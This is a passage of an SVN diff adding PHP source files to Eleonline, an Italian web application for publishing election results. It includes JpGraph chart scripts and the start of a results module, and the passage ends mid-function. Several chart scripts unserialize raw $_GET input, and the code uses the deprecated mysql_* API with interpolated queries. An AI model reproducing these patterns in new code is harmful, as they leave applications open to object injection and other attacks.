+25071 => array(DEFAULT_ERROR_MESSAGE.'25071',0),
+25072 => array(DEFAULT_ERROR_MESSAGE.'25072',0),
+25073 => array(DEFAULT_ERROR_MESSAGE.'25073',0),
+25074 => array(DEFAULT_ERROR_MESSAGE.'25074',0),
+25075 => array(DEFAULT_ERROR_MESSAGE.'25075',0),
+25077 => array(DEFAULT_ERROR_MESSAGE.'25077',0),
+25078 => array(DEFAULT_ERROR_MESSAGE.'25078',0),
+25079 => array(DEFAULT_ERROR_MESSAGE.'25079',0),
+25080 => array(DEFAULT_ERROR_MESSAGE.'25080',0),
+25081 => array(DEFAULT_ERROR_MESSAGE.'25081',0),
+25082 => array(DEFAULT_ERROR_MESSAGE.'25082',0),
+25083 => array(DEFAULT_ERROR_MESSAGE.'25083',0),
+25084 => array(DEFAULT_ERROR_MESSAGE.'25084',0),
+25085 => array(DEFAULT_ERROR_MESSAGE.'25085',0),
+25086 => array(DEFAULT_ERROR_MESSAGE.'25086',0),
+25087 => array(DEFAULT_ERROR_MESSAGE.'25087',0),
+25088 => array(DEFAULT_ERROR_MESSAGE.'25088',0),
+25089 => array(DEFAULT_ERROR_MESSAGE.'25089',0),
+25090 => array(DEFAULT_ERROR_MESSAGE.'25090',0),
+25091 => array(DEFAULT_ERROR_MESSAGE.'25091',0),
+25092 => array(DEFAULT_ERROR_MESSAGE.'25092',0),
+25093 => array(DEFAULT_ERROR_MESSAGE.'25093',0),
+25094 => array(DEFAULT_ERROR_MESSAGE.'25094',0),
+25095 => array(DEFAULT_ERROR_MESSAGE.'25095',0),
+25096 => array(DEFAULT_ERROR_MESSAGE.'25096',0),
+25097 => array(DEFAULT_ERROR_MESSAGE.'25097',0),
+25098 => array(DEFAULT_ERROR_MESSAGE.'25098',0),
+25099 => array(DEFAULT_ERROR_MESSAGE.'25099',0),
+25100 => array(DEFAULT_ERROR_MESSAGE.'25100',0),
+25101 => array(DEFAULT_ERROR_MESSAGE.'25101',0),
+25102 => array(DEFAULT_ERROR_MESSAGE.'25102',0),
+25103 => array(DEFAULT_ERROR_MESSAGE.'25103',0),
+25104 => array(DEFAULT_ERROR_MESSAGE.'25104',0),
+25105 => array(DEFAULT_ERROR_MESSAGE.'25105',0),
+25106 => array(DEFAULT_ERROR_MESSAGE.'25106',0),
+25107 => array(DEFAULT_ERROR_MESSAGE.'25107',0),
+25108 => array(DEFAULT_ERROR_MESSAGE.'25108',0),
+25109 => array(DEFAULT_ERROR_MESSAGE.'25109',0),
+25110 => array(DEFAULT_ERROR_MESSAGE.'25110',0),
+25111 => array(DEFAULT_ERROR_MESSAGE.'25111',0),
+25112 => array(DEFAULT_ERROR_MESSAGE.'25112',0),
+25113 => array(DEFAULT_ERROR_MESSAGE.'25113',0),
+25114 => array(DEFAULT_ERROR_MESSAGE.'25114',0),
+25115 => array(DEFAULT_ERROR_MESSAGE.'25115',0),
+25116 => array(DEFAULT_ERROR_MESSAGE.'25116',0),
+25117 => array(DEFAULT_ERROR_MESSAGE.'25117',0),
+25118 => array(DEFAULT_ERROR_MESSAGE.'25118',0),
+25119 => array(DEFAULT_ERROR_MESSAGE.'25119',0),
+25120 => array(DEFAULT_ERROR_MESSAGE.'25120',0),
+25121 => array(DEFAULT_ERROR_MESSAGE.'25121',0),
+25122 => array(DEFAULT_ERROR_MESSAGE.'25122',0),
+25123 => array(DEFAULT_ERROR_MESSAGE.'25123',0),
+25124 => array(DEFAULT_ERROR_MESSAGE.'25124',0),
+25125 => array(DEFAULT_ERROR_MESSAGE.'25125',0),
+25126 => array(DEFAULT_ERROR_MESSAGE.'25126',0),
+25127 => array(DEFAULT_ERROR_MESSAGE.'25127',0),
+25128 => array(DEFAULT_ERROR_MESSAGE.'25128',0),
+25129 => array(DEFAULT_ERROR_MESSAGE.'25129',0),
+24003 => array(DEFAULT_ERROR_MESSAGE.'24003',0),
+24004 => array(DEFAULT_ERROR_MESSAGE.'24004',0),
+24005 => array(DEFAULT_ERROR_MESSAGE.'24005',0),
+24006 => array(DEFAULT_ERROR_MESSAGE.'24006',0),
+24007 => array(DEFAULT_ERROR_MESSAGE.'24007',0),
+24008 => array(DEFAULT_ERROR_MESSAGE.'24008',0),
+24009 => array(DEFAULT_ERROR_MESSAGE.'24009',0),
+24010 => array(DEFAULT_ERROR_MESSAGE.'24010',0),
+24011 => array(DEFAULT_ERROR_MESSAGE.'24011',0),
+24012 => array(DEFAULT_ERROR_MESSAGE.'24012',0),
+24013 => array(DEFAULT_ERROR_MESSAGE.'24013',0),
+24014 => array(DEFAULT_ERROR_MESSAGE.'24014',0),
+24015 => array(DEFAULT_ERROR_MESSAGE.'24015',0),
+22001 => array(DEFAULT_ERROR_MESSAGE.'22001',0),
+22002 => array(DEFAULT_ERROR_MESSAGE.'22002',0),
+22004 => array(DEFAULT_ERROR_MESSAGE.'22004',0),
+22005 => array(DEFAULT_ERROR_MESSAGE.'22005',0),
+22006 => array(DEFAULT_ERROR_MESSAGE.'22006',0),
+22007 => array(DEFAULT_ERROR_MESSAGE.'22007',0),
+22008 => array(DEFAULT_ERROR_MESSAGE.'22008',0),
+22009 => array(DEFAULT_ERROR_MESSAGE.'22009',0),
+22010 => array(DEFAULT_ERROR_MESSAGE.'22010',0),
+22011 => array(DEFAULT_ERROR_MESSAGE.'22011',0),
+22012 => array(DEFAULT_ERROR_MESSAGE.'22012',0),
+22013 => array(DEFAULT_ERROR_MESSAGE.'22013',0),
+22014 => array(DEFAULT_ERROR_MESSAGE.'22014',0),
+22015 => array(DEFAULT_ERROR_MESSAGE.'22015',0),
+22016 => array(DEFAULT_ERROR_MESSAGE.'22016',0),
+22017 => array(DEFAULT_ERROR_MESSAGE.'22017',0),
+22018 => array(DEFAULT_ERROR_MESSAGE.'22018',0),
+22019 => array(DEFAULT_ERROR_MESSAGE.'22019',0),
+22020 => array(DEFAULT_ERROR_MESSAGE.'22020',0),
+13001 => array(DEFAULT_ERROR_MESSAGE.'13001',0),
+13002 => array(DEFAULT_ERROR_MESSAGE.'13002',0),
+1001 => array(DEFAULT_ERROR_MESSAGE.'1001',0),
+1002 => array(DEFAULT_ERROR_MESSAGE.'1002',0),
+1003 => array(DEFAULT_ERROR_MESSAGE.'1003',0),
+1004 => array(DEFAULT_ERROR_MESSAGE.'1004',0),
+1005 => array(DEFAULT_ERROR_MESSAGE.'1005',0),
+1006 => array(DEFAULT_ERROR_MESSAGE.'1006',0),
+1007 => array(DEFAULT_ERROR_MESSAGE.'1007',0),
+1008 => array(DEFAULT_ERROR_MESSAGE.'1008',0),
+1009 => array(DEFAULT_ERROR_MESSAGE.'1009',0),
+1010 => array(DEFAULT_ERROR_MESSAGE.'1010',0),
+1011 => array(DEFAULT_ERROR_MESSAGE.'1011',0),
+26001 => array(DEFAULT_ERROR_MESSAGE.'26001',0),
+26002 => array(DEFAULT_ERROR_MESSAGE.'26002',0),
+26003 => array(DEFAULT_ERROR_MESSAGE.'26003',0),
+26004 => array(DEFAULT_ERROR_MESSAGE.'26004',0),
+26005 => array(DEFAULT_ERROR_MESSAGE.'26005',0),
+26006 => array(DEFAULT_ERROR_MESSAGE.'26006',0),
+26007 => array(DEFAULT_ERROR_MESSAGE.'26007',0),
+26008 => array(DEFAULT_ERROR_MESSAGE.'26008',0),
+26009 => array(DEFAULT_ERROR_MESSAGE.'26009',0),
+26010 => array(DEFAULT_ERROR_MESSAGE.'26010',0),
+26011 => array(DEFAULT_ERROR_MESSAGE.'26011',0),
+26012 => array(DEFAULT_ERROR_MESSAGE.'26012',0),
+26013 => array(DEFAULT_ERROR_MESSAGE.'26013',0),
+26014 => array(DEFAULT_ERROR_MESSAGE.'26014',0),
+26015 => array(DEFAULT_ERROR_MESSAGE.'26015',0),
+26016 => array(DEFAULT_ERROR_MESSAGE.'26016',0),
+
+27001 => array(DEFAULT_ERROR_MESSAGE.'27001',0),
+27002 => array(DEFAULT_ERROR_MESSAGE.'27002',0),
+27003 => array(DEFAULT_ERROR_MESSAGE.'27003',0),
+27004 => array(DEFAULT_ERROR_MESSAGE.'27004',0),
+27005 => array(DEFAULT_ERROR_MESSAGE.'27005',0),
+27006 => array(DEFAULT_ERROR_MESSAGE.'27006',0),
+27007 => array(DEFAULT_ERROR_MESSAGE.'27007',0),
+27008 => array(DEFAULT_ERROR_MESSAGE.'27008',0),
+27009 => array(DEFAULT_ERROR_MESSAGE.'27009',0),
+27010 => array(DEFAULT_ERROR_MESSAGE.'27010',0),
+27011 => array(DEFAULT_ERROR_MESSAGE.'27011',0),
+27012 => array(DEFAULT_ERROR_MESSAGE.'27012',0),
+27013 => array(DEFAULT_ERROR_MESSAGE.'27013',0),
+27014 => array(DEFAULT_ERROR_MESSAGE.'27014',0),
+27015 => array(DEFAULT_ERROR_MESSAGE.'27015',0),
+);
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/ledex2.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/ledex2.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/ledex2.php	(revision 44)
@@ -0,0 +1,13 @@
+<?php
+
+include_once "jpgraph.php";
+include "jpgraph_led.php";
+$sez=$_GET['sez'];
+$max=$_GET['max'];
+// By default each "LED" circle has a radius of 3 pixels
+$led = new DigitalLED74($aRadius=2,$aMargin=0.6);
+$led->StrokeNumber($sez.' di '.$max,LEDC_YELLOW); 
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffronti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffronti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffronti.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+include ("jpgraph.php");
+include ("jpgraph_line.php");
+
+$grp1=$_GET['grp1'];$grp2=$_GET['grp2'];$altro=$_GET['altro'];
+$desc=$_GET['desc'];
+$ar1=$_GET['ar1'];$ar2=$_GET['ar2'];$ar3=$_GET['ar3'];
+
+$ar1=unserialize(stripslashes($ar1));
+$ar2=unserialize(stripslashes($ar2));
+$ar3=unserialize(stripslashes($ar3));
+
+
+//$datay = array(0.2980,0.3039,0.3020,0.3027,0.3015);
+//$data2 = array(0.2910,0.3039,0.3000,0.3010,0.3000);
+$graph = new Graph(450,320,"auto");
+$graph->img->SetMargin(40,40,40,40);	
+
+$graph->img->SetAntiAliasing();
+$graph->SetScale("textlin");
+$graph->SetShadow();
+$graph->title->Set("Example of 10% top/bottom grace");
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+
+// Add 10% grace to top and bottom of plot
+$graph->yscale->SetGrace(20,20);
+$graph->legend->Pos(0.05,0.5,"right","center");
+
+//$graph->xaxis-> SetTickLabels($desc);
+
+
+$p1 = new LinePlot($ar1);
+$p1->mark->SetType(MARK_FILLEDCIRCLE);
+$p1->mark->SetFillColor("red");
+$p1->mark->SetWidth(4);
+$p1->SetColor("blue");
+$p1->SetCenter();
+$p1->SetLegend($grp1);
+
+
+$p2 = new LinePlot($ar2);
+$p2->mark->SetType(MARK_FILLEDCIRCLE);
+$p2->mark->SetFillColor("gray");
+$p2->mark->SetWidth(4);
+$p2->SetColor("black");
+$p2->SetCenter();
+$p2->SetLegend($grp2);
+
+$p3 = new LinePlot($ar3);
+$p3->mark->SetType(MARK_FILLEDCIRCLE);
+$p3->mark->SetFillColor("green");
+$p3->mark->SetWidth(4);
+$p3->SetColor("red");
+$p3->SetCenter();
+$p3->SetLegend("Altro");
+
+
+$graph->Add($p1);
+$graph->Add($p2);
+$graph->Add($p3);
+
+$graph->Stroke();
+
+
+
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontiperc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontiperc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontiperc.php	(revision 44)
@@ -0,0 +1,89 @@
+<?php
+include ("jpgraph.php");
+include ("jpgraph_line.php");
+//include ("jpgraph_flags.php");
+
+
+$titperc=$_GET['titperc'];
+$altro=$_GET['altro'];
+$desc=$_GET['desc'];
+$grp1=$_GET['grp1'];$grp2=$_GET['grp2'];$grp3=$_GET['grp3'];
+
+$percg1=$_GET['percg1'];$percg2=$_GET['percg2'];$percg3=$_GET['percg3'];
+
+$percg1=unserialize(stripslashes($percg1));
+$percg2=unserialize(stripslashes($percg2));
+$percg3=unserialize(stripslashes($percg3));
+$desc=unserialize(stripslashes($desc));
+
+
+
+$graph = new Graph(640,320,"auto");
+$graph->img->SetMargin(40,40,40,40);	
+
+//$graph->img->SetAntiAliasing();
+$graph->SetScale("textlin");
+$graph->SetShadow();
+$graph->title->Set($titperc);
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+
+// Add 10% grace to top and bottom of plot
+$graph->yscale->SetGrace(10,10);
+$graph->xscale->SetGrace(10,10);
+$graph->xaxis-> SetTickLabels($desc);
+$graph->legend->Pos(0.03,0.2,"right","center");
+
+
+//$graph->Set3DPerspective(SKEW3D_RIGHT,650,470,true);
+
+$graph->SetBackgroundImage("../images/logo.jpg",BGIMG_COPY);
+//$graph->SetBackgroundCountryFlag('ital',BGIMG_COPY,20);
+
+if($grp1){
+$p1 = new LinePlot($percg1);
+$p1->value-> Show();
+$p1->value->SetFormat( " %0.2f");
+$p1->mark->SetType(MARK_FILLEDCIRCLE);
+$p1->mark->SetFillColor("red");
+$p1->mark->SetWidth(4);
+$p1->SetColor("blue");
+$p1->SetCenter();
+$p1->SetLegend($grp1);
+}
+if($grp2){
+$p2 = new LinePlot($percg2);
+$p2->value->SetFormat( "%0.2f");
+$p2->value-> Show();
+$p2->mark->SetType(MARK_FILLEDCIRCLE);
+$p2->mark->SetFillColor("gray");
+$p2->mark->SetWidth(4);
+$p2->SetColor("black");
+$p2->SetCenter();
+$p2->SetLegend($grp2);
+}
+
+if($grp3){
+$p3 = new LinePlot($percg3);
+$p3->value->SetFormat( "%0.2f");
+$p3->value-> Show();
+$p3->mark->SetType(MARK_FILLEDCIRCLE);
+$p3->mark->SetFillColor("green");
+$p3->mark->SetWidth(4);
+$p3->SetColor("red");
+$p3->SetCenter();
+$p3->SetLegend($altro);
+}
+
+if($grp1)$graph->Add($p1);
+if($grp2)$graph->Add($p2);
+if($grp3)$graph->Add($p3);
+
+$graph->Stroke();
+
+
+
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontivoto.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontivoto.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/raffrontivoto.php	(revision 44)
@@ -0,0 +1,86 @@
+<?php
+include ("jpgraph.php");
+include ("jpgraph_line.php");
+
+$titvoti=$_GET['titvoti'];
+$titperc=$_GET['titperc'];
+$altro=$_GET['altro'];
+$desc=$_GET['desc'];
+$grp1=$_GET['grp1'];$grp2=$_GET['grp2'];$grp3=$_GET['grp3'];
+
+$ar1=$_GET['ar1'];$ar2=$_GET['ar2'];$ar3=$_GET['ar3'];
+
+$ar1=unserialize(stripslashes($ar1));
+$ar2=unserialize(stripslashes($ar2));
+$ar3=unserialize(stripslashes($ar3));
+$desc=unserialize(stripslashes($desc));
+
+
+
+$graph = new Graph(640,320,"auto");
+$graph->img->SetMargin(40,40,40,40);	
+
+//$graph->img->SetAntiAliasing();
+$graph->SetScale("textlin");
+$graph->SetShadow();
+$graph->title->Set($titvoti);
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+
+// Add 10% grace to top and bottom of plot
+$graph->yscale->SetGrace(20,20);
+$graph->xscale->SetGrace(20,20);
+$graph->xaxis-> SetTickLabels($desc);
+$graph->legend->Pos(0.03,0.2,"right","center");
+
+
+$graph->SetBackgroundImage("../images/logo.jpg",BGIMG_COPY);
+//$graph->SetBackgroundCountryFlag('ital',BGIMG_COPY,20);
+
+if($grp1){
+$p1 = new LinePlot($ar1);
+$p1->value-> Show();
+$p1->value->SetFormat( "%0.0f");
+$p1->mark->SetType(MARK_FILLEDCIRCLE);
+$p1->mark->SetFillColor("red");
+$p1->mark->SetWidth(4);
+$p1->SetColor("blue");
+$p1->SetCenter();
+$p1->SetLegend($grp1);
+}
+if($grp2){
+$p2 = new LinePlot($ar2);
+$p2->value->SetFormat( "%0.0f");
+$p2->value-> Show();
+$p2->mark->SetType(MARK_FILLEDCIRCLE);
+$p2->mark->SetFillColor("gray");
+$p2->mark->SetWidth(4);
+$p2->SetColor("black");
+$p2->SetCenter();
+$p2->SetLegend($grp2);
+}
+if($grp3){
+$p3 = new LinePlot($ar3);
+$p3->value->SetFormat( "%0.0f");
+$p3->value-> Show();
+$p3->mark->SetType(MARK_FILLEDCIRCLE);
+$p3->mark->SetFillColor("green");
+$p3->mark->SetWidth(4);
+$p3->SetColor("red");
+$p3->SetCenter();
+$p3->SetLegend($altro);
+}
+
+if($grp1)$graph->Add($p1);
+
+if($grp2)$graph->Add($p2);
+if($grp3)$graph->Add($p3);
+
+$graph->Stroke();
+
+
+
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/torta.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/torta.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/torta.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+include ("jpgraph.php");
+include ("jpgraph_pie.php");
+include ("jpgraph_pie3d.php");
+
+$data = array($a,$b,$c,$d);
+$legend = array(_VALIDI,_NULLI,_BIANCHI,_CONTESTATI);
+$graph = new PieGraph(330,200,"auto");
+$graph->SetShadow();
+
+$graph->title->Set("A simple 3D Pie plot");
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+
+$p1 = new PiePlot3D($data);
+$p1->ExplodeSlice(1);
+$p1->SetCenter(0.45);
+$p1->SetLegends($legend);
+$graph ->img->SetImgFormat( "png");
+$graph->Add($p1);
+$graph->Stroke();
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/votanti_graf.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/votanti_graf.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/votanti_graf.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+include ("jpgraph.php");
+include ("jpgraph_pie.php");
+
+$e=$_GET['e'];$f=$_GET['f'];$e1=$_GET['e1'];$f1=$_GET['f1'];
+$titolo=$_GET['titolo'];
+if (isset($_GET['cop'])) $cop=$_GET['cop'];else $cop='';
+if (isset($_GET['x'])) $dim_x=$_GET['x']; else $dim_x='350';
+if (isset($_GET['y'])) $dim_y=$_GET['y']; else $dim_y='200';
+if (isset($_GET['logo'])) $logo=$_GET['logo'];else $logo='';
+$data = array($e,$f);
+$legend = array("$e $e1","$f $f1");
+$graph = new PieGraph($dim_x,$dim_y,"auto");
+$graph->SetShadow();
+
+$graph->title->Set($titolo);
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+$graph ->legend->Pos( 0.05,0.75,"left" ,"center");
+/*
+if(isset($logo)){
+      if (file_exists("../images/".$logo.".png")) {
+	  $graph->SetBackgroundImage("../images/".$logo.".png",BGIMG_COPY);
+      }else{
+	  else $graph->SetBackgroundImage("../images/vuoto.jpg",BGIMG_COPY);
+}
+*/
+// testo
+/*
+$txt =new Text("$cop");
+$txt->SetFont(FF_FONT1,FS_BOLD);
+//$txt->Pos(0.5,0.97,'center','bottom');
+$txt->SetBox('yellow','black'); 
+$txt->Pos( 2,2,'center');
+$txt->SetColor( "black");
+
+$graph->AddText( $txt);
+
+*/
+$graph->SetBackgroundGradient('white','yellow',GRAD_HOR,BGRAD_MARGIN);
+
+$p1 = new PiePlot($data);
+$p1->value->SetFormat('');
+$p1->value->Show();
+$p1->SetLegends($legend);
+$p1->SetCenter(0.4,0.5);
+
+$graph->Add($p1);
+$graph->Stroke();
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/voti_graf.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/voti_graf.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/voti_graf.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+include ("jpgraph.php");
+include ("jpgraph_pie.php");
+
+$a=$_GET['a'];$b=$_GET['b'];$c=$_GET['c'];$d=$_GET['d'];
+$a1=$_GET['a1'];$b1=$_GET['b1'];$c1=$_GET['c1'];$d1=$_GET['d1'];
+$titolo=$_GET['titolo'];
+$cop=$_GET['cop'];
+$logo=$_GET['logo'];
+$data = array($a,$b,$c,$d);
+$legend = array("$a $a1","$b $b1", "$c $c1", "$d $d1");
+$graph = new PieGraph(350,250,"auto");
+$graph->SetShadow();
+
+
+
+$graph->title->Set($titolo);
+$graph->title->SetFont(FF_FONT1,FS_BOLD);
+$graph ->legend->Pos( 0.52,0.50,"left" ,"center");
+$graph->SetBackgroundGradient('white','yellow',GRAD_HOR,BGRAD_MARGIN);
+
+/*
+$txt =new Text("$cop");
+//$txt =new Text("$siteistat");
+$txt->Pos( 2,180);
+$txt->SetColor( "red");
+$graph->AddText( $txt);
+*/
+if(isset($logo)){
+      //if (file_exists("modules/Elezioni/images/".$logo.".png")) {
+	//  $graph->SetBackgroundImage("../images/".$logo.".png",BGIMG_COPY);
+      }
+/*
+else{
+	  else $graph->SetBackgroundImage("../images/vuoto.jpg",BGIMG_COPY);
+}
+*/
+// black-white
+//$graph->AdjBackgroundImage(0.4,0.3,-1);
+
+$p1 = new PiePlot($data);
+$p1->value->SetFormat('');
+$p1->value->Show();
+$p1->SetLegends($legend);
+$p1->SetCenter(0.25,0.4);
+$graph->Add($p1);
+$graph->Stroke();
+
+
+
+
+
+
+$graph->Add($p1);
+$graph->Stroke();
+
+
+
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/gruppo.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/gruppo.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/gruppo.php	(revision 44)
@@ -0,0 +1,654 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+if ($xls=='1') include("modules/Elezioni/language/lang-$lang.php");
+
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+	$_GET : $_POST;
+
+if (isset($param['id_cons_gen'])) $id_cons_gen=intval($param['id_cons_gen']); else $id_cons_gen='';
+//if (isset($param['op'])) $op=$param['op']; else $op='';
+if (isset($param['minsez'])) $minsez=intval($param['minsez']); else $minsez='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_circ'])) $id_circ=intval($param['id_circ']); else $id_circ='';
+if (isset($param['csv'])) $csv=intval($param['csv']); else $csv='';
+if (isset($param['min'])) $min=intval($param['min']); else $min= 0;
+if (isset($param['orvert'])) $orvert=intval($param['orvert']); else $orvert='';
+if (isset($param['offset'])) $offset=intval($param['offset']); else $offset='';
+if (isset($param['offsetsez'])) $offsetsez=intval($param['offsetsez']); else $offsetsez='';
+if (isset($param['perc'])) $perc=$param['perc']; else $perc='';
+if (isset($param['info'])) get_magic_quotes_gpc() ? $info=$param['info']:$info=addslashes($param['info']); else $info='';
+if (isset($param['files'])) get_magic_quotes_gpc() ? $files=$param['files']:$files=addslashes($param['files']); else $files='';
+if (isset($param['voti_lista'])) $voti_lista=intval($param['voti_lista']); else $voti_lista= 0;
+if (isset($param['perc_lista'])) $perc_lista=$param['perc_lista']; else $perc_lista= 0;
+if (isset($param['lettera'])) get_magic_quotes_gpc() ? $lettera=$param['lettera']:$lettera=addslashes($param['lettera']); else $lettera='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+#if (isset($param['tipo_cons'])) $tipo_cons=intval($param['tipo_cons']); else $tipo_cons='';
+
+# anti-xss nov. 2009 
+$id_comune=htmlentities($id_comune);
+$id_comune=intval($id_comune);
+$perc=htmlentities($perc);
+$perc_lista=floatval($perc_lista);
+#$datipdf= htmlentities($datipdf);
+$op= htmlentities($op);
+$info= htmlentities($info);
+$files=htmlentities($files);
+$lettera=htmlentities($lettera);
+
+
+
+
+
+
+
+include("crea_pagina.php");
+$res = mysql_query("SELECT descrizione from  ".$prefix."_ele_comuni where id_comune='$id_comune'" , $dbi);
+list($descr_comune) = mysql_fetch_row($res);
+
+$res = mysql_query("SELECT t1.descrizione, t1.tipo_cons,t2.genere, t2.voto_g, t2.voto_l, t2.voto_c, t2.circo FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_tipo as t2 where t1.tipo_cons=t2.tipo_cons and t1.id_cons_gen='$id_cons_gen' ", $dbi);
+list($descr_cons,$tipo_cons,$genere,$votog,$votol,$votoc,$circo) = mysql_fetch_row($res);
+$res = mysql_query("SELECT t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($id_cons) = mysql_fetch_row($res);
+
+
+
+
+
+
+
+////////////////////////////////////////////////////////////
+//   Visualizza i dati per liste, gruppi e referendum, per sezione o circoscrizione
+////////////////////////////////////////////////////////////
+
+function gruppo_circo(){
+	global $prefix, $dbi, $descr_cons, $id_cons, $id_cons_gen,$tipo_cons,$votog,$votol,$votoc,$circo, $genere,$id_gruppo,$id_lista,$bgcolor1,$bgcolor2,$id_comune,$descr_comune,$id_circ;
+	global $id_comune,$id_cons_gen,$op,$minsez,$id_lista,$id_circ,$csv,$min,
+	$orvert,$offset,$offsetsez,$perc,$info,$files;
+	#Denominazione pagine
+	if($op=="gruppo_circo") $pagina=_GRUPPO." "._PER." "._CIRCO;
+	if($op=="gruppo_sezione") $pagina=_GRUPPO." "._PER." "._SEZIONI;
+	if($op=="lista_circo") $pagina=_LISTA." "._PER." "._CIRCO;
+	if($op=="lista_sezione") $pagina=_LISTA." "._PER." "._SEZIONI;
+	if($op=="candidato_circo") $pagina=_CONSI." "._PER." "._CIRCO;
+	if($op=="candidato_sezione") $pagina=_CONSI." "._PER." "._SEZIONI;
+	if($op=="consiglieri") $pagina=_CALCONS;
+
+
+
+
+	if (strstr( $op,'circo')) { //$op=='gruppo_circo' or $op=='lista_circo') {
+		$tab1="circ";
+		$tab2="t5.num_circ,t5.descrizione";
+		$tab3="t5.num_circ";
+		$tipo1=_DA." "._CIRCO;
+		$tipo2=_CIRCOS;
+		$tipo3=_CIRCO;
+	}else{
+		$tab1="sez";
+		$tab2="t3.num_sez,''";
+		$tab3="t3.num_sez";
+		$tipo1=_DA." "._SEZIONE;
+		$tipo2=_SEZIONI;
+		$tipo3=_SEZIONE;
+	}
+	if (strstr( $op,"gruppo")){
+		$tab="gruppo";
+	}elseif (strstr( $op,'lista')) {	
+		$tab="lista";
+	}else{
+		$tab="candidati";
+	}
+	if ($orvert) {
+		$righe='';
+		$colonne='checked';
+	}else{
+		$righe='checked';
+		$colonne='';
+	}
+	if ($genere>0) {       //se non e' un referendum
+		
+		
+		$voticompl=0;
+		if (!($offset)) $offset=25;
+		if (!($min)) $min=1;
+		if (!($offsetsez)) $offsetsez=20; 
+		if (!($minsez)) $minsez=1;
+		if ($min>$offset) { 
+			$appo=$min;
+			$min=$offset;
+			$offset=$appo;
+		}
+		if ($minsez>$offsetsez) { 
+			$appo=$minsez;
+			$minsez=$offsetsez;
+			$offsetsez=$appo;
+		}
+		if (!$csv){
+		echo "<form id=\"voti\" method=\"post\" action=\"modules.php\">";
+		echo "<div><input type=\"hidden\" name=\"pag\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;id_lista=\"></input>";
+		echo "<input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=\"></input>";
+		}
+		$condcirc='';
+		if ($circo){ //gestione circoscrizionali
+			if(!$id_circ){
+			$res_cir = mysql_query("SELECT id_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons and num_circ=1",$dbi); //se non si e' scelta una circoscr. prende la prima
+			list($id_circ)=mysql_fetch_row($res_cir);
+			}
+			$res_cir = mysql_query("SELECT num_circ from ".$prefix."_ele_circoscrizione where id_circ=$id_circ",$dbi); //estrae il numero della circoscrizione
+			list($num_circ)=mysql_fetch_row($res_cir);
